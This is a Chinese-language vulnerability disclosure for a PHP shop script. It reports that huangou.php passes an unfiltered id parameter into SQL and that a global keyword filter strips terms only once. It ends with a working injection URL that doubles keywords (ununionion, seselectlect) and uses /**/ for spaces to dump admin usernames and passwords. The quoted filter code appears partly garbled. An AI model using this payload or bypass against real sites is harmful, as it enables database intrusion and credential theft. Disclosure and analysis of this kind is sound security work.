问题位置:
huangou.php ID过滤不严格
$id =$_GET[''id'']; $good=sel_sql(‘dhlist’,''id,name,pic,money,jifen,num,content,num’,''id=’.$id);
详细说明:
7.4 3月20号之前的代码,注入确实没修,huangou.php
$id =$_GET[''id'']; $good=sel_sql(‘dhlist’,''id,name,pic,money,jifen,num,content,num’,''id=’.$id);
测试环境射不了,仔细看代码,多了个包含
include_once ‘comm/checkpostandget.php’;
文件内容:
$ArrFiltrate = array ( “#union#i”, “##i", "#select#i", "#alert#i", "#javascript#i", "# $value) { if (is_array($value)) FunStringExist($array [$key],$ArrFiltrate,$replacements); else $array[$key] = preg_replace ($ArrFiltrate, $replacements, $value); } }}FunStringExist ($_GET,$ArrFiltrate,$replacements);FunStringExist ($_POST,$ArrFiltrate,$replacements);
get和post数组的全局过滤函数,逻辑存在很大问题。
漏洞证明:
关键字例如:union,变成uniounionn就行了,空格用/**/替代,再次完成SQL注射。
http://www.sitedirsec.com/huangou.php?id=1/**/and/**/1=2/**/ununionion/**/seselectlect/**/0,1,2,adminname,adminpass,5,6,7/**/from/**/duoduo_duoduo2010